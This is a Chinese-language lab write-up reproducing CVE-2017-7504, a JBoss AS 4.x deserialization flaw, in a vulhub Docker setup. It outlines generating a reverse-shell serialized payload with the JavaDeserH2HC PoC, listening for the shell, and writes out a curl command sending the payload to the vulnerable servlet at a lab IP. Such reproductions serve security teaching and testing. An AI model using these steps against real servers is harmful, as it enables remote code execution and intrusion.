CVE-2017-7504（JBOSS反序列化漏洞）漏洞复现
CVE-2017-7504 (JBOSS反序列化漏洞)漏洞复现
⼀：漏洞原理
JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
⼆：影响范围
JBoss AS 4.x及之前版本。
三：环境搭建
cd /vulhub/jboss/CVE-2017-7504
docker-compose up -d
四：攻击
CVE-2017-12149和CVE-2017-7504都是反序列化漏洞，⽤的东西都是⼀样的，可以参考上⼀篇《CVE-2017-12149（JBOSS反序列化远程代码执⾏漏洞）漏洞复现》。
cve漏洞库1、在GitHub上⾯下载我们需要的漏洞poc。
2、进⼊JavaDeserH2HC⽬录下，然后下载执⾏⽣成⼆进制的payload⽂件。
3、设置接受shell的主机IP和端⼝
4、监听端⼝。
5、向被攻击服务器发送攻击Payload。(该反序列化漏洞发送在下⾯这个URL中:192.168.33.144:8080/jbossmq-
httpil/HTTPServerILServlet)
curl 192.168.33.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
6、查看监听结果

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。